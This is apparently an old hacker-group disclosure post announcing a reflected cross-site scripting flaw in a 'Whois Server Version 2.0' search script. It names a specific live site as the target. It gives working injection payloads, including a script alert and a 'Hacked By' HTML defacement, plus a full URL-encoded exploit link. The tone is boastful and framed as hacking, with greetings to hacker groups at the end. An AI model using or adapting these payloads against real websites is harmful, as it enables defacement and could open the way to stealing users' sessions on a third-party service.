Hacked By ViRuS_HiMa


another link for the exploit if it dosent appeared clearly :

http://hell-z0ne.org/whois.txt

[+]##############################################  
[+] |____ViRuS_HiMa@YouR SyS__|__\              #
[+] |______________________|___||\*___          #
[+] |______________________|___||""|"*\___,     #
[+] |______________________|___||""|*"|___||    #
[+] "([ (@)''(@)""""""(|*(@)(@)********(@)*     #
[+]===================================================================||
[*] Whois Server Version 2.0 XSS Vulnerability                        ||
[!] Author   : ViRuS_HiMa                                             ||
[!] Site     : wWw.hell-z0ne.oRg                                      ||                                             
[!] E-Mail   : eGypT_GoVeRnMenT[at]HoTmaiL[dot]CoM                    ||
[!] Location : Cairo-007                                              ||
[!]===================================================================||
    Vuln in :
   
    "?query="

    cuz when you Search about an domain in the script form 

    you gonna find the typed text Clear ! no encryptiation!

     so we can use it as xss vuln :p

     here we got A live demo on no-ip.com official site :)

    http://whois.no-ip.com

    type any domain e.g milw0rm.com and we got some thing like this :

    "Whois Server Version 2.0 No match for domain "milw0rm.com . . . etc"

    but what if we typed an xss code in the search form ? :

    "><font+size=55+color=red>Hacked By+ViRuS_HiMa</font><script>alert(/ViRuS_HiMa/)</script>

    or simple html code like : <html><h1>Hacked By ViRuS_HiMa</h1></html>

    the result for the first code is alert msg say : /ViRuS_HiMa/

    after press ok you will find : 

    "Whois Server Version 2.0

    No match for domain "\">hacked by virus_hima"

    thats all and you can test your codes :)    

    Full vuln code :

    http://whois.no-ip.com/?query=%22%3E%3Cfont+size=55+color=red%3EHacked
    %20By+ViRuS_HiMa%3C/font%3E%3Cscript%3Ealert%28/ViRuS_HiMa/%29%3C/script%3E    
                      
[!]===================================================================||
[!]Greetz 2 Allah - Muslim Hackers - SecurityReasonTeam - And Others. ||
[*]===================================================================||
 		 	   		  
_________________________________________________________________
Windows Live: Make it easier for your friends to see what you’re up to on Facebook.
http://www.microsoft.com/middleeast/windows/windowslive/see-it-in-action/social-network-basics.aspx?ocid=PID23461::T:WLMTAGL:ON:WL:en-xm:SI_SB_2:092009